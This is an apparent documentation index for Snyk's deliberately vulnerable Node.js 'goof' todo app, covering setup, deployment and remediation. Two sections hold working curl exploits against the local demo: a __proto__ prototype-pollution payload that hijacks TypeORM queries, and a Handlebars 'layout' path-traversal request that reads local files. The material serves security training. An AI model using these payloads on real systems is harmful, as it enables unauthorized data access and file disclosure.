goof

repository·main·Indexed 19 days ago

https://github.com/snyk-labs/nodejs-goof

An intentionally vulnerable Node.js todo demo application (version 1.0.1) designed to showcase security vulnerabilities in dependencies, code, and container images. It is used to practice vulnerability detection and remediation using Snyk tools, featuring exploits for NoSQL Injection, Local File Inclusion (LFI), Prototype Pollution in TypeORM, and Shell Command Injection.

Tokens
4.3K
Snippets
18
Records
23
Agent score
68%

What's inside goof

  1. Set up MySQL for Prototype Pollution demo

    main

    To demonstrate the Prototype Pollution vulnerability in TypeORM, you must run a MySQL server. It is recommended to use mysql:5 because it supports the native password mechanism used in this demo.

    After starting the container, you must create a database named acme to host the application data.

    # Start the MySQL container
    docker run -p3306:3306 --rm --name mysqld -e MYSQL_ROOT_PASSWORD=root mysql:5
    
    # Create the dummy database
    # (Run this inside the mysql client)
    create database acme;
    
    # Access the MySQL client to run commands
    docker exec -it mysqld mysql -uroot -p
  2. Deploy the Goof app to Heroku

    main

    Follow these steps to deploy the Goof application to the Heroku platform. This process requires a Heroku account, the Heroku CLI, and a verified credit card to enable the MongoDB addon.

    1. Sign up: Create a free account at https://www.heroku.com.
    2. Install CLI: Install the heroku CLI (e.g., using brew install heroku/brew/heroku on macOS).
    3. Authenticate: Run heroku login and follow the prompts.
    4. Initialize App: Navigate to the goof/ directory in your local repository and run heroku create to provision a new Heroku app.
    5. Verify Account: Update your credit card information at https://heroku.com/verify. This is required to enable the MongoDB addon.
    6. Add Database: Provision the MongoDB sandbox addon using heroku addons:create mongolab:sandbox.
    7. Deploy: Push your local code to the Heroku remote to start the deployment: git push heroku master.
    # Install CLI (macOS)
    brew install heroku/brew/heroku
    
    # Authenticate
    heroku login
    
    # Create app
    heroku create
    
    # Add MongoDB addon
    heroku addons:create mongolab:sandbox
    
    # Deploy
    git push heroku master
  3. Run Goof locally

    main

    To run the Goof application locally, you must have a MongoDB server running. Note that due to legacy library requirements, an older version of MongoDB is required (MongoDB 3 is recommended).

    1. Start MongoDB (either locally or via Docker).
    2. Clone the repository.
    3. Install dependencies.
    4. Start the application.

    The app listens on port 3001 (http://localhost:3001).

    # Option 1: Start MongoDB locally
    mongod &
    
    # Option 2: Start MongoDB via Docker (Recommended)
    docker run --rm -p 27017:27017 mongo:3
    
    # Setup Goof
    git clone https://github.com/snyk-labs/nodejs-goof
    cd nodejs-goof
    npm install
    npm start
  4. Exploit Prototype Pollution in TypeORM

    main

    This exploit demonstrates how Prototype Pollution in TypeORM can lead to SQL Injection or unauthorized data access. By poisoning the Object prototype via an insecure merge within TypeORM, an attacker can inject a where clause that takes precedence over standard query parameters (like a hard-coded id).

    Exploit Workflow

    1. Create a normal user: Use POST /users to populate the database.
    2. Verify profile access: Use GET /users to see the default hard-coded profile (ID: 1).
    3. Poison the prototype: Send a POST /users request containing a __proto__ payload. This injects a where property into the global Object.prototype.
    4. Execute the attack: Perform a GET /users request again. Instead of returning ID 1, the application will now respect the poisoned where clause and return the user specified in the payload (e.g., ID 2).
    # Step 1: Create a normal user
    curl --request POST \
      --url http://localhost:3001/users \
      --header 'content-type: application/json' \
      --data '{
    	"name": "a",
    	"address": "vvv",
    	"role": "user"
    }'
    
    # Step 2: Get your own profile (returns ID 1)
    curl --request GET \
      --url http://localhost:3001/users \
      --header 'content-type: application/json'
    
    # Step 3: Poison the Object's prototype
    curl --request POST \
      --url http://localhost:3001/users \
      --header 'content-type: application/json' \
      --data '{
    	"name": "a",
    	"address": {
    		"__proto__": {
    			"where": {
    				"id": "2",
    				"where": null
    			}
    		}
    	}
    }'
    
    # Step 4: Fetch profile again (now returns ID 2 due to poisoned 'where' clause)
    curl --request GET \
      --url http://localhost:3001/users \
      --header 'content-type: application/json'
  5. Fix vulnerabilities using Snyk Wizard

    main

    To identify and automatically fix security flaws in this application (or your own), use the Snyk CLI wizard. In the case of Goof, the default answers provided by the wizard will resolve all known issues.

    npm install -g snyk
    snyk wizard
  6. Deploy Goof to Heroku or CloudFoundry

    main

    Heroku

    Goof requires a MongoLab service to be attached. This service automatically sets the MONGOLAB_URI environment variable required by the app.

    CloudFoundry

    Goof requires a MongoLab service attached and specifically named goof-mongo. The application code is configured to look for credentials associated with that specific service name.

  7. Enable Snyk Runtime Monitoring

    main

    The Goof application includes a Snyk agent initialized in app.js. To enable runtime monitoring and associate detections with your Snyk project, you must provide the SNYK_PROJECT_ID environment variable when starting the application.

    SNYK_PROJECT_ID=<PROJECT_ID> npm start
  8. Run Goof using docker-compose

    main

    You can orchestrate the Goof application and its required databases (MongoDB and MySQL) using the provided docker-compose.yml file. This setup launches the Goof application service, a MongoDB instance, and a MySQL instance with pre-configured credentials.

    docker-compose up
  9. Initialize and run the Goof Express server

    main

    The app.js file serves as the entrypoint for the Goof application. It initializes an Express server, configures multiple database connections (Mongoose and TypeORM), sets up template engines (EJS, Dust, and HBS), and defines the application's routing structure.

    By default, the server listens on the port specified by the PORT environment variable, or defaults to 3001.

    Key configurations include:

    • Session Management: Uses express-session with the secret 'keyboard cat' and cookie name 'connect.sid'.
    • Template Engines: Supports ejs, dust (via consolidate), and hbs.
    • Markdown Support: The marked library is available globally via app.locals.marked with sanitize: true enabled.
    • Static Files: Served from ./public at the /public URL path.
    # To run the application (assuming dependencies are installed)
    node app.js
  10. Troubleshoot Heroku deployment

    main

    If you encounter issues with your deployed Goof app on Heroku, use the following commands to inspect logs or manage the application state.

    • View Logs: To stream live application logs for debugging, use heroku logs --tail.
    • Restart/Scale App: To ensure the web process is running (manually scaling the web dyno to 1), use heroku ps:scale web=1.
    # Inspect live logs
    heroku logs --tail
    
    # Manually scale/restart the web process
    heroku ps:scale web=1
  11. Exploit Code Injection (LFI) in /account_details

    main

    The /account_details route uses Handlebars for Server-side Rendering. Because the application passes req.body directly to the template without filtering unexpected fields, an attacker can inject a layout field to perform Local File Inclusion (LFI) / Path Traversal.

    # 1. Login to get a session cookie
    curl -X 'POST' --cookie c.txt --cookie-jar c.txt -H 'Content-Type: application/json' --data-binary '{"username": "admin@snyk.io", "password": "SuperSecretPassword"}' 'http://localhost:3001/login'
    
    # 2. Exploit via the 'layout' field to read package.json
    curl -X 'POST' --cookie c.txt --cookie-jar c.txt -H 'Content-Type: application/json' --data-binary '{"email": "admin@snyk.io", "firstname": "admin", "lastname": "admin", "country": "IL", "phone": "+972551234123", "layout": "./../package.json"}' 'http://localhost:3001/account_details'